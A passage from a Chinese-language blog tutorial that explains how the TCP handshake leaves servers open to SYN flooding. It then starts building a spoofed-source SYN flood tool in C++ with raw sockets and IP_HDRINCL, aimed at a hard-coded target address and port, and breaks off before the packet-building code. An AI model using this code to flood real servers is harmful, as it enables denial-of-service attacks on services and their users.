前言:
在复习tcp三次握手的时候,了解到tcp协议有些缺陷,存在一些安全漏洞,比如说SYN攻击,就对此颇有兴趣,就打算用raw socket实现一下,同时也记下一些踩过的坑。
本博客所有代码仅供学习交流使用,请勿用于其他用途。
内容:
实验环境:linux
在写Raw Socket的SYN攻击之前,需要了解下为什么会存在这个攻击~
在tcp的三次握手中,客户端主动打开请求连接,会向服务器发送SYN请求包(第一次握手),服务器收到SYN请求后,会向客户端发送SYN-ACK同步确认包(第二次握手),客户端收到这个包后,会向服务器发送ACK确认包(第三次握手),然后客户端进入建立状态,当服务器收到确认包后,也会进入建立状态,此时双方处于TCP已建立连接状态,可以进行数据传送了。如果在第三次握手中,客户端不发送最后的ACK确认包,或者说服务器收不到ACK确认包,服务器会一直处于SYN-RCVD状态,并尝试重新向客户端发送SYN-ACK包(重传),这样会导致服务器在SYN timeout时间内维护这个半连接,并占用系统资源。
当半连接数量比较多的时候,服务器系统资源被大量占用,会严重影响正常的服务请求。
所以基于此漏洞,我们可以伪造大量的虚拟地址,来向服务器发送大量的不可回应的SYN请求,消耗目的系统资源,来达到攻击的目的。
知道大概的原理了,那就开干吧~
所需头文件~
#include <iostream>
#include <sys/socket.h> // for socket
#include <sys/types.h> // for socket
#include <netinet/in.h> // for sockaddr_in
#include <netinet/tcp.h> // for tcp
#include <netinet/ip.h> // for ip
#include <arpa/inet.h> // for inet_
#include <net/if.h> // for ifreq
#include <memory.h> // for memset
#include <unistd.h> // for usleep
我们先定义攻击目标的ip地址和端口,还有攻击的次数~
//对方ip地址
string ip_addr = "192.168.243.133";
//目标端口
int port = 80;
//攻击次数
int attack_num = 5;
在编写Socket中,我们可以使用RawSocket(原始套接字)来实现自己所需的IP数据报(IP首部+TCP首部+数据),最后使用sendto()来发送原始套接字。(注意:使用原始套接字需要root权限)
int socket_fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
我们还需要设定这个原始套接字的选项为IP_HDRINCL 的,来阻止系统自动填充IP首部,因为IP首部是需要我们伪造源地址的,所以需要自己填写。
int on = 1;
int opt = setsockopt(socket_fd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
然后创建对方的地址信息(sockaddr_in)供sendto()